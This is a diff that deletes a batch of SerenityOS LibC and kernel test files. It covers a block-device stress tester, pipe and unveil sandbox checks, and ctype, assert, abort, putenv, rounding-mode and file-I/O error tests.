if (old_percent != percent) {
|
||||
printf("Pre-initializing entire block range (%3d%%)...\n", percent);
|
||||
old_percent = percent;
|
||||
}
|
||||
|
||||
if (!write_block(fd, rng_seed, i, buffer))
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
int r = EXIT_SUCCESS;
|
||||
for (int i = 0; i < count; i++) {
|
||||
printf("(%d/%d)\tPass %d...\n", i + 1, count, i + 1);
|
||||
|
||||
for (int j = min_block_offset; j < min_block_offset + block_length; j++) {
|
||||
off_t block;
|
||||
if (random_mode)
|
||||
while ((block = AK::get_random<off_t>()) < 0)
|
||||
;
|
||||
else
|
||||
block = j;
|
||||
block = min_block_offset + block % block_length;
|
||||
|
||||
if (paranoid_mode) {
|
||||
for (int k = min_block_offset; j < min_block_offset + block_length; j++) {
|
||||
if (!verify_block(fd, rng_seed, k, buffer)) {
|
||||
if (stop_mode)
|
||||
return EXIT_FAILURE;
|
||||
else
|
||||
r = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if (!verify_block(fd, rng_seed, block, buffer)) {
|
||||
if (stop_mode)
|
||||
return EXIT_FAILURE;
|
||||
else
|
||||
r = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
if (!write_block(fd, rng_seed, block, buffer)) {
|
||||
if (stop_mode)
|
||||
return EXIT_FAILURE;
|
||||
else
|
||||
r = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
close(fd);
|
||||
return r;
|
||||
}
|
|
@ -1,40 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int pipefds[2];
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pipe(pipefds);
|
||||
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
printf("Second thread closing pipes!\n");
|
||||
close(pipefds[0]);
|
||||
close(pipefds[1]);
|
||||
pthread_exit(nullptr);
|
||||
},
|
||||
nullptr);
|
||||
|
||||
printf("First thread doing a blocking read from pipe...\n");
|
||||
char buffer[16];
|
||||
ssize_t nread = read(pipefds[0], buffer, sizeof(buffer));
|
||||
if (nread != 0) {
|
||||
printf("FAIL, read %zd bytes from pipe\n", nread);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("PASS\n");
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -1,76 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
rmdir("/tmp/foo/1");
|
||||
rmdir("/tmp/foo");
|
||||
unlink("/tmp/bar");
|
||||
|
||||
if (mkdir("/tmp/foo", 0755) < 0) {
|
||||
perror("mkdir");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (mkdir("/tmp/foo/1", 0755) < 0) {
|
||||
perror("mkdir");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (symlink("/tmp/foo", "/tmp/bar")) {
|
||||
perror("symlink");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (unveil("/tmp/foo", "r") < 0) {
|
||||
perror("unveil");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (unveil(nullptr, nullptr) < 0) {
|
||||
perror("unveil");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int fd = open("/tmp/foo/1", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
fd = open("/tmp/bar/1", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
fprintf(stderr, "FAIL, symlink was not unveiled\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (chdir("/tmp")) {
|
||||
perror("chdir");
|
||||
return 1;
|
||||
}
|
||||
|
||||
fd = open("./foo/1", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
fd = open("./bar/1", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
fprintf(stderr, "FAIL, symlink was not unveiled\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
|
@ -1,49 +0,0 @@
|
|||
set(TEST_SOURCES
|
||||
TestAbort.cpp
|
||||
TestAssert.cpp
|
||||
TestCType.cpp
|
||||
TestEnvironment.cpp
|
||||
TestFenv.cpp
|
||||
TestIo.cpp
|
||||
TestLibCExec.cpp
|
||||
TestLibCGrp.cpp
|
||||
TestLibCDirEnt.cpp
|
||||
TestLibCInodeWatcher.cpp
|
||||
TestLibCMkTemp.cpp
|
||||
TestLibCNetdb.cpp
|
||||
TestLibCSetjmp.cpp
|
||||
TestLibCString.cpp
|
||||
TestLibCTime.cpp
|
||||
TestMalloc.cpp
|
||||
TestMath.cpp
|
||||
TestMemalign.cpp
|
||||
TestMemmem.cpp
|
||||
TestMkDir.cpp
|
||||
TestPthreadCancel.cpp
|
||||
TestPthreadCleanup.cpp
|
||||
TestPThreadPriority.cpp
|
||||
TestPthreadSpinLocks.cpp
|
||||
TestPthreadRWLocks.cpp
|
||||
TestPwd.cpp
|
||||
TestQsort.cpp
|
||||
TestRaise.cpp
|
||||
TestRealpath.cpp
|
||||
TestScanf.cpp
|
||||
TestSearch.cpp
|
||||
TestSnprintf.cpp
|
||||
TestStackSmash.cpp
|
||||
TestStdio.cpp
|
||||
TestStrlcpy.cpp
|
||||
TestStrtodAccuracy.cpp
|
||||
TestWchar.cpp
|
||||
TestWctype.cpp
|
||||
)
|
||||
|
||||
set_source_files_properties(TestMath.cpp PROPERTIES COMPILE_FLAGS "-fno-builtin")
|
||||
set_source_files_properties(TestStrtodAccuracy.cpp PROPERTIES COMPILE_FLAGS "-fno-builtin-strtod")
|
||||
# Don't assume default rounding behavior is used for testing rounding behavior modifications.
|
||||
set_source_files_properties(TestFenv.cpp PROPERTIES COMPILE_FLAGS "-frounding-math")
|
||||
|
||||
foreach(source IN LISTS TEST_SOURCES)
|
||||
serenity_test("${source}" LibC)
|
||||
endforeach()
|
|
@ -1,34 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
TEST_CASE(_abort)
|
||||
{
|
||||
EXPECT_CRASH("This should _abort", [] {
|
||||
_abort();
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
EXPECT_CRASH_WITH_SIGNAL("This should _abort with SIGILL signal", SIGILL, [] {
|
||||
_abort();
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
}
|
||||
|
||||
TEST_CASE(abort)
|
||||
{
|
||||
EXPECT_CRASH("This should abort", [] {
|
||||
abort();
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
EXPECT_CRASH_WITH_SIGNAL("This should abort with SIGABRT signal", SIGABRT, [] {
|
||||
abort();
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
}
|
|
@ -1,45 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#undef NDEBUG
|
||||
#include <assert.h>
|
||||
#include <signal.h>
|
||||
|
||||
TEST_CASE(assert)
|
||||
{
|
||||
EXPECT_CRASH("This should assert", [] {
|
||||
assert(!"This should assert");
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
EXPECT_CRASH_WITH_SIGNAL("This should assert with SIGABRT signal", SIGABRT, [] {
|
||||
assert(!"This should assert");
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
}
|
||||
|
||||
#define NDEBUG
|
||||
#include <assert.h>
|
||||
|
||||
TEST_CASE(assert_reinclude)
|
||||
{
|
||||
EXPECT_NO_CRASH("This should not assert", [] {
|
||||
assert(!"This should not assert");
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
}
|
||||
|
||||
#undef NDEBUG
|
||||
#include <assert.h>
|
||||
|
||||
TEST_CASE(assert_rereinclude)
|
||||
{
|
||||
EXPECT_CRASH("This should assert", [] {
|
||||
assert(!"This should assert");
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
}
|
|
@ -1,196 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, Andrew Kaster <akaster@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
// https://open-std.org/JTC1/SC22/WG14/www/docs/n2912.pdf
|
||||
// Section 7.4.1 Character classification functions
|
||||
|
||||
// 7.4.1.1 The isalnum function
|
||||
// The isalnum function tests for any character for which isalpha or isdigit is true.
|
||||
TEST_CASE(test_isalnum)
|
||||
{
|
||||
for (int i = 0; i < 256; ++i) {
|
||||
if ((i >= '0' && i <= '9') || (i >= 'A' && i <= 'Z') || (i >= 'a' && i <= 'z'))
|
||||
EXPECT_NE(isalnum(i), 0);
|
||||
else
|
||||
EXPECT_EQ(isalnum(i), 0);
|
||||
}
|
||||
}
|
||||
|
||||
// 7.4.1.2 The isalpha function
|
||||
// The isalpha function tests for any character for which isupper or islower is true, or any character
|
||||
// that is one of a locale-specific set of alphabetic characters for which none of iscntrl, isdigit,
|
||||
// ispunct, or isspace is true. In the "C" locale, isalpha returns true only for the characters for
|
||||
// which isupper or islower is true.
|
||||
TEST_CASE(test_isalpha)
|
||||
{
|
||||
for (int i = 0; i < 256; ++i) {
|
||||
if ((i >= 'A' && i <= 'Z') || (i >= 'a' && i <= 'z'))
|
||||
EXPECT_NE(isalpha(i), 0);
|
||||
else
|
||||
EXPECT_EQ(isalpha(i), 0);
|
||||
}
|
||||
}
|
||||
|
||||
// 7.4.1.3 The isblank function
|
||||
// The isblank function tests for any character that is a standard blank character or is one of a locale-
|
||||
// specific set of characters for which isspace is true and that is used to separate words within a line
|
||||
// of text. The standard blank characters are the following: space (’ ’ ), and horizontal tab (’\t’ ). In
|
||||
// the "C" locale, isblank returns true only for the standard blank characters.
|
||||
TEST_CASE(test_isblank)
|
||||
{
|
||||
for (int i = 0; i < 256; ++i) {
|
||||
if ((i == ' ') || (i == '\t'))
|
||||
EXPECT_NE(isblank(i), 0);
|
||||
else
|
||||
EXPECT_EQ(isblank(i), 0);
|
||||
}
|
||||
}
|
||||
|
||||
// 7.4.1.4 The iscntrl function
|
||||
// The iscntrl function tests for any control character
|
||||
TEST_CASE(test_iscntrl)
|
||||
{
|
||||
for (int i = 0; i < 256; ++i) {
|
||||
if ((i < ' ') || (i == '\x7F')) // 7F is DEL
|
||||
EXPECT_NE(iscntrl(i), 0);
|
||||
else
|
||||
EXPECT_EQ(iscntrl(i), 0);
|
||||
}
|
||||
}
|
||||
|
||||
// 7.4.1.5 The isdigit function
|
||||
// The isdigit function tests for any decimal-digit character (as defined in 5.2.1)
|
||||
TEST_CASE(test_isdigit)
|
||||
{
|
||||
for (int i = 0; i < 256; ++i) {
|
||||
if ((i >= '0' && i <= '9'))
|
||||
EXPECT_NE(isdigit(i), 0);
|
||||
else
|
||||
EXPECT_EQ(isdigit(i), 0);
|
||||
}
|
||||
}
|
||||
|
||||
// 7.4.1.6 The isgraph function
|
||||
// The isgraph function tests for any printing character except space (’ ’).
|
||||
TEST_CASE(test_isgraph)
|
||||
{
|
||||
for (int i = 0; i < 256; ++i) {
|
||||
if ((i > ' ' && i <= '~'))
|
||||
EXPECT_NE(isgraph(i), 0);
|
||||
else
|
||||
EXPECT_EQ(isgraph(i), 0);
|
||||
}
|
||||
}
|
||||
|
||||
// 7.4.1.7 The islower function
|
||||
// The islower function tests for any character that is a lowercase letter or is one of a locale-specific set
|
||||
// of characters for which none of iscntrl, isdigit, ispunct, or isspace is true. In the "C" locale,
|
||||
// islower returns true only for the lowercase letters (as defined in 5.2.1
|
||||
TEST_CASE(test_islower)
|
||||
{
|
||||
for (int i = 0; i < 256; ++i) {
|
||||
if ((i >= 'a' && i <= 'z'))
|
||||
EXPECT_NE(islower(i), 0);
|
||||
else
|
||||
EXPECT_EQ(islower(i), 0);
|
||||
}
|
||||
}
|
||||
|
||||
// 7.4.1.8 The isprint function
|
||||
// The isprint function tests for any printing character including space (’ ’).
|
||||
TEST_CASE(test_isprint)
|
||||
{
|
||||
for (int i = 0; i < 256; ++i) {
|
||||
if ((i >= ' ' && i <= '~'))
|
||||
EXPECT_NE(isprint(i), 0);
|
||||
else
|
||||
EXPECT_EQ(isprint(i), 0);
|
||||
}
|
||||
}
|
||||
|
||||
// 7.4.1.9 The ispunct function
|
||||
// The ispunct function tests for any printing character that is one of a locale-specific set of punctuation
|
||||
// characters for which neither isspace nor isalnum is true. In the "C" locale, ispunct returns true
|
||||
// for every printing character for which neither isspace nor isalnum is true
|
||||
TEST_CASE(test_ispunct)
|
||||
{
|
||||
for (int i = 0; i < 256; ++i) {
|
||||
if ((i > ' ' && i < '0') || (i > '9' && i < 'A') || (i > 'Z' && i < 'a') || (i > 'z' && i < '\x7F'))
|
||||
EXPECT_NE(ispunct(i), 0);
|
||||
else
|
||||
EXPECT_EQ(ispunct(i), 0);
|
||||
}
|
||||
}
|
||||
|
||||
// 7.4.1.10 The isspace function
|
||||
// The isspace function tests for any character that is a standard white-space character or is one of
|
||||
// a locale-specific set of characters for which isalnum is false. The standard white-space characters
|
||||
// are the following: space (’ ’ ), form feed (’\f’ ), new-line (’\n’ ), carriage return (’\r’ ), horizontal
|
||||
// tab (’\t’ ), and vertical tab (’\v’ ). In the "C" locale, isspace returns true only for the standard
|
||||
// white-space characters.
|
||||
TEST_CASE(test_isspace)
|
||||
{
|
||||
for (int i = 0; i < 256; ++i) {
|
||||
if ((i == ' ') || (i == '\f') || (i == '\n') || (i == '\r') || (i == '\t') || (i == '\v'))
|
||||
EXPECT_NE(isspace(i), 0);
|
||||
else
|
||||
EXPECT_EQ(isspace(i), 0);
|
||||
}
|
||||
}
|
||||
|
||||
// 7.4.1.11 The isupper function
|
||||
// The isupper function tests for any character that is an uppercase letter or is one of a locale-specific
|
||||
// set of characters for which none of iscntrl, isdigit, ispunct, or isspace is true. In the "C" locale,
|
||||
// isupper returns true only for the uppercase letters (as defined in 5.2.1)
|
||||
TEST_CASE(test_isupper)
|
||||
{
|
||||
for (int i = 0; i < 256; ++i) {
|
||||
if ((i >= 'A' && i <= 'Z'))
|
||||
EXPECT_NE(isupper(i), 0);
|
||||
else
|
||||
EXPECT_EQ(isupper(i), 0);
|
||||
}
|
||||
}
|
||||
|
||||
// 7.4.1.12 The isxdigit function
|
||||
// The isxdigit function tests for any hexadecimal-digit character (as defined in 6.4.4.1).
|
||||
TEST_CASE(test_isxdigit)
|
||||
{
|
||||
for (int i = 0; i < 256; ++i) {
|
||||
if ((i >= '0' && i <= '9') || (i >= 'A' && i <= 'F') || (i >= 'a' && i <= 'f'))
|
||||
EXPECT_NE(isxdigit(i), 0);
|
||||
else
|
||||
EXPECT_EQ(isxdigit(i), 0);
|
||||
}
|
||||
}
|
||||
|
||||
// 7.4.2.1 The tolower function
|
||||
// The tolower function converts an uppercase letter to a corresponding lowercase letter
|
||||
TEST_CASE(test_tolower)
|
||||
{
|
||||
for (int i = 0; i < 256; ++i) {
|
||||
if ((i >= 'A' && i <= 'Z'))
|
||||
EXPECT_EQ(tolower(i), i + 0x20);
|
||||
else
|
||||
EXPECT_EQ(tolower(i), i);
|
||||
}
|
||||
}
|
||||
|
||||
// 7.4.2.2 The toupper function
|
||||
// The toupper function converts an lowercase letter to a corresponding uppercase letter
|
||||
TEST_CASE(test_toupper)
|
||||
{
|
||||
for (int i = 0; i < 256; ++i) {
|
||||
if ((i >= 'a' && i <= 'z'))
|
||||
EXPECT_EQ(toupper(i), i - 0x20);
|
||||
else
|
||||
EXPECT_EQ(toupper(i), i);
|
||||
}
|
||||
}
|
|
@ -1,43 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2023, Jelle Raaijmakers <jelle@gmta.nl>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
TEST_CASE(putenv_overwrite_invalid_value)
|
||||
{
|
||||
// Write an environment variable using the heap
|
||||
auto* heap_environment_value = new char[12];
|
||||
VERIFY(snprintf(heap_environment_value, 12, "TESTVAR=123") == 11);
|
||||
auto result = putenv(heap_environment_value);
|
||||
EXPECT_EQ(result, 0);
|
||||
|
||||
// Try to retrieve the variable after overwriting the heap value
|
||||
memset(heap_environment_value, 0, 12);
|
||||
auto* environment_variable = getenv("TESTVAR");
|
||||
EXPECT_EQ(environment_variable, nullptr);
|
||||
|
||||
// Try to overwrite the variable now that it's zeroed out
|
||||
auto* new_environment_value = new char[12];
|
||||
VERIFY(snprintf(new_environment_value, 12, "TESTVAR=456") == 11);
|
||||
result = putenv(new_environment_value);
|
||||
EXPECT_EQ(result, 0);
|
||||
|
||||
// Retrieve the variable and verify that it's set correctly
|
||||
environment_variable = getenv("TESTVAR");
|
||||
EXPECT_NE(environment_variable, nullptr);
|
||||
EXPECT_EQ(strcmp(environment_variable, "456"), 0);
|
||||
|
||||
// Overwrite and retrieve it again to test correct search behavior for '='
|
||||
auto* final_environment_value = new char[12];
|
||||
VERIFY(snprintf(final_environment_value, 12, "TESTVAR=789") == 11);
|
||||
result = putenv(final_environment_value);
|
||||
EXPECT_EQ(result, 0);
|
||||
environment_variable = getenv("TESTVAR");
|
||||
EXPECT_NE(environment_variable, nullptr);
|
||||
EXPECT_EQ(strcmp(environment_variable, "789"), 0);
|
||||
}
|
|
@ -1,121 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2023, kleines Filmröllchen <filmroellchen@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <fenv.h>
|
||||
|
||||
// TODO: Add tests for floating-point exception management.
|
||||
|
||||
static constexpr auto reset_rounding_mode = [] { fesetround(FE_TONEAREST); };
|
||||
|
||||
#if !ARCH(RISCV64)
|
||||
# define TOMAXMAGNITUDE_DECAYS_TO_TONEAREST
|
||||
#endif
|
||||
|
||||
TEST_CASE(float_round_up)
|
||||
{
|
||||
// Non-default rounding mode should not escape files with -frounding-math.
|
||||
ScopeGuard rounding_mode_guard = reset_rounding_mode;
|
||||
|
||||
fesetround(FE_UPWARD);
|
||||
EXPECT_EQ(0.1f + 0.2f, 0.3f);
|
||||
EXPECT_EQ(0.1f + 0.3f, 0.40000004f);
|
||||
EXPECT_EQ(0.1f + 0.4f, 0.50000006f);
|
||||
EXPECT_EQ(-1.f + -0.1f, -1.0999999f);
|
||||
EXPECT_EQ(1.f + 0.1f, 1.1f);
|
||||
}
|
||||
|
||||
TEST_CASE(float_round_down)
|
||||
{
|
||||
ScopeGuard rounding_mode_guard = reset_rounding_mode;
|
||||
|
||||
fesetround(FE_DOWNWARD);
|
||||
EXPECT_EQ(0.1f + 0.2f, 0.29999998f);
|
||||
EXPECT_EQ(0.1f + 0.3f, 0.4f);
|
||||
EXPECT_EQ(0.1f + 0.4f, 0.5f);
|
||||
EXPECT_EQ(-1.f + -0.1f, -1.1f);
|
||||
EXPECT_EQ(1.f + 0.1f, 1.0999999f);
|
||||
}
|
||||
|
||||
TEST_CASE(float_round_to_zero)
|
||||
{
|
||||
ScopeGuard rounding_mode_guard = reset_rounding_mode;
|
||||
|
||||
fesetround(FE_TOWARDZERO);
|
||||
EXPECT_EQ(0.1f + 0.2f, 0.29999998f);
|
||||
EXPECT_EQ(0.1f + 0.3f, 0.4f);
|
||||
EXPECT_EQ(0.1f + 0.4f, 0.5f);
|
||||
EXPECT_EQ(-1.f + -0.1f, -1.0999999f);
|
||||
EXPECT_EQ(1.f + 0.1f, 1.0999999f);
|
||||
}
|
||||
|
||||
TEST_CASE(float_round_to_nearest)
|
||||
{
|
||||
ScopeGuard rounding_mode_guard = reset_rounding_mode;
|
||||
|
||||
fesetround(FE_TONEAREST);
|
||||
EXPECT_EQ(0.1f + 0.2f, 0.3f);
|
||||
EXPECT_EQ(0.1f + 0.3f, 0.4f);
|
||||
EXPECT_EQ(0.1f + 0.4f, 0.5f);
|
||||
EXPECT_EQ(-1.f + -0.1f, -1.1f);
|
||||
EXPECT_EQ(1.f + 0.1f, 1.1f);
|
||||
EXPECT_EQ(1.f + 5.9604645e-08f, 1.f);
|
||||
}
|
||||
|
||||
TEST_CASE(float_round_to_max_magnitude)
|
||||
{
|
||||
ScopeGuard rounding_mode_guard = reset_rounding_mode;
|
||||
|
||||
fesetround(FE_TOMAXMAGNITUDE);
|
||||
EXPECT_EQ(0.1f + 0.2f, 0.3f);
|
||||
EXPECT_EQ(0.1f + 0.3f, 0.4f);
|
||||
EXPECT_EQ(0.1f + 0.4f, 0.5f);
|
||||
EXPECT_EQ(-1.f + -0.1f, -1.1f);
|
||||
EXPECT_EQ(1.f + 0.1f, 1.1f);
|
||||
#ifdef TOMAXMAGNITUDE_DECAYS_TO_TONEAREST
|
||||
EXPECT_EQ(1.f + 5.9604645e-08f, 1.f);
|
||||
#else
|
||||
EXPECT_EQ(1.f + 5.9604645e-08f, 1.0000001f);
|
||||
#endif
|
||||
}
|
||||
|
||||
TEST_CASE(store_round_in_env)
|
||||
{
|
||||
ScopeGuard rounding_mode_guard = reset_rounding_mode;
|
||||
|
||||
fesetround(FE_DOWNWARD);
|
||||
fenv_t env;
|
||||
fegetenv(&env);
|
||||
fesetround(FE_UPWARD);
|
||||
// This result only happens under upward rounding.
|
||||
EXPECT_EQ(-1.f + -0.1f, -1.0999999f);
|
||||
fesetenv(&env);
|
||||
// ... and this only under downward rounding.
|
||||
EXPECT_EQ(-1.f + -0.1f, -1.1f);
|
||||
}
|
||||
|
||||
TEST_CASE(save_restore_round)
|
||||
{
|
||||
ScopeGuard rounding_mode_guard = reset_rounding_mode;
|
||||
|
||||
fesetround(FE_DOWNWARD);
|
||||
auto rounding_mode = fegetround();
|
||||
EXPECT_EQ(rounding_mode, FE_DOWNWARD);
|
||||
|
||||
fesetround(FE_UPWARD);
|
||||
EXPECT_EQ(fegetround(), FE_UPWARD);
|
||||
EXPECT_EQ(-1.f + -0.1f, -1.0999999f);
|
||||
fesetround(rounding_mode);
|
||||
EXPECT_EQ(-1.f + -0.1f, -1.1f);
|
||||
|
||||
fesetround(FE_TOMAXMAGNITUDE);
|
||||
#ifdef TOMAXMAGNITUDE_DECAYS_TO_TONEAREST
|
||||
// Max-magnitude rounding is not supported by x86, so we expect fesetround to decay it to some other rounding mode.
|
||||
EXPECT_EQ(fegetround(), FE_TONEAREST);
|
||||
#else
|
||||
EXPECT_EQ(fegetround(), FE_TOMAXMAGNITUDE);
|
||||
#endif
|
||||
}
|
|
@ -1,476 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, Andreas Kling <kling@serenityos.org>
|
||||
* Copyright (c) 2021, Andrew Kaster <akaster@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Assertions.h>
|
||||
#include <AK/Types.h>
|
||||
#include <LibFileSystem/FileSystem.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/uio.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define EXPECT_ERROR_2(err, syscall, arg1, arg2) \
|
||||
do { \
|
||||
rc = syscall(arg1, arg2); \
|
||||
EXPECT(rc < 0); \
|
||||
EXPECT_EQ(errno, err); \
|
||||
if (rc >= 0 || errno != err) { \
|
||||
warnln(__FILE__ ":{}: Expected " #err ": " #syscall "({}, {}), got rc={}, errno={}", __LINE__, arg1, arg2, rc, errno); \
|
||||
} \
|
||||
} while (0)
|
||||
|
||||
#define EXPECT_ERROR_3(err, syscall, arg1, arg2, arg3) \
|
||||
do { \
|
||||
rc = syscall(arg1, arg2, arg3); \
|
||||
EXPECT(rc < 0); \
|
||||
EXPECT_EQ(errno, err); \
|
||||
if (rc >= 0 || errno != err) { \
|
||||
warnln(__FILE__ ":{}: Expected " #err ": " #syscall "({}, {}, {}), got rc={}, errno={}", __LINE__, arg1, arg2, arg3, rc, errno); \
|
||||
} \
|
||||
} while (0)
|
||||
|
||||
TEST_CASE(read_from_directory)
|
||||
{
|
||||
char buffer[BUFSIZ];
|
||||
int fd = open("/", O_DIRECTORY | O_RDONLY);
|
||||
VERIFY(fd >= 0);
|
||||
int rc;
|
||||
EXPECT_ERROR_3(EISDIR, read, fd, buffer, sizeof(buffer));
|
||||
rc = close(fd);
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(write_to_directory)
|
||||
{
|
||||
char str[] = "oh frick";
|
||||
int fd = open("/", O_DIRECTORY | O_RDONLY);
|
||||
if (fd < 0)
|
||||
perror("open");
|
||||
VERIFY(fd >= 0);
|
||||
int rc;
|
||||
EXPECT_ERROR_3(EBADF, write, fd, str, sizeof(str));
|
||||
rc = close(fd);
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(read_from_writeonly)
|
||||
{
|
||||
char buffer[BUFSIZ];
|
||||
int fd = open("/tmp/xxxx123", O_CREAT | O_WRONLY);
|
||||
VERIFY(fd >= 0);
|
||||
int rc;
|
||||
EXPECT_ERROR_3(EBADF, read, fd, buffer, sizeof(buffer));
|
||||
rc = close(fd);
|
||||
VERIFY(rc == 0);
|
||||
rc = unlink("/tmp/xxxx123");
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(write_to_readonly)
|
||||
{
|
||||
char str[] = "hello";
|
||||
int fd = open("/tmp/abcd123", O_CREAT | O_RDONLY);
|
||||
VERIFY(fd >= 0);
|
||||
int rc;
|
||||
EXPECT_ERROR_3(EBADF, write, fd, str, sizeof(str));
|
||||
rc = close(fd);
|
||||
VERIFY(rc == 0);
|
||||
rc = unlink("/tmp/abcd123");
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(read_past_eof)
|
||||
{
|
||||
char buffer[BUFSIZ];
|
||||
int fd = open("/home/anon/README.md", O_RDONLY);
|
||||
if (fd < 0)
|
||||
perror("open");
|
||||
VERIFY(fd >= 0);
|
||||
int rc;
|
||||
rc = lseek(fd, 99999, SEEK_SET);
|
||||
if (rc < 0)
|
||||
perror("lseek");
|
||||
rc = read(fd, buffer, sizeof(buffer));
|
||||
if (rc < 0)
|
||||
perror("read");
|
||||
if (rc > 0)
|
||||
warnln("read {} bytes past EOF", rc);
|
||||
rc = close(fd);
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(ftruncate_readonly)
|
||||
{
|
||||
int fd = open("/tmp/trunctest", O_RDONLY | O_CREAT, 0666);
|
||||
VERIFY(fd >= 0);
|
||||
int rc;
|
||||
EXPECT_ERROR_2(EBADF, ftruncate, fd, 0);
|
||||
rc = close(fd);
|
||||
VERIFY(rc == 0);
|
||||
rc = unlink("/tmp/trunctest");
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(ftruncate_negative)
|
||||
{
|
||||
int fd = open("/tmp/trunctest", O_RDWR | O_CREAT, 0666);
|
||||
VERIFY(fd >= 0);
|
||||
int rc;
|
||||
EXPECT_ERROR_2(EINVAL, ftruncate, fd, -1);
|
||||
rc = close(fd);
|
||||
VERIFY(rc == 0);
|
||||
rc = unlink("/tmp/trunctest");
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(mmap_directory)
|
||||
{
|
||||
int fd = open("/tmp", O_RDONLY | O_DIRECTORY);
|
||||
VERIFY(fd >= 0);
|
||||
auto* ptr = mmap(nullptr, 4096, PROT_READ, MAP_SHARED, fd, 0);
|
||||
EXPECT_EQ(ptr, MAP_FAILED);
|
||||
if (ptr != MAP_FAILED) {
|
||||
warnln("Boo! mmap() of a directory succeeded!");
|
||||
}
|
||||
EXPECT_EQ(errno, ENODEV);
|
||||
if (errno != ENODEV) {
|
||||
warnln("Boo! mmap() of a directory gave errno={} instead of ENODEV!", errno);
|
||||
return;
|
||||
}
|
||||
close(fd);
|
||||
}
|
||||
|
||||
TEST_CASE(tmpfs_read_past_end)
|
||||
{
|
||||
int fd = open("/tmp/x", O_RDWR | O_CREAT | O_TRUNC, 0600);
|
||||
VERIFY(fd >= 0);
|
||||
|
||||
int rc = ftruncate(fd, 1);
|
||||
VERIFY(rc == 0);
|
||||
|
||||
rc = lseek(fd, 4096, SEEK_SET);
|
||||
VERIFY(rc == 4096);
|
||||
|
||||
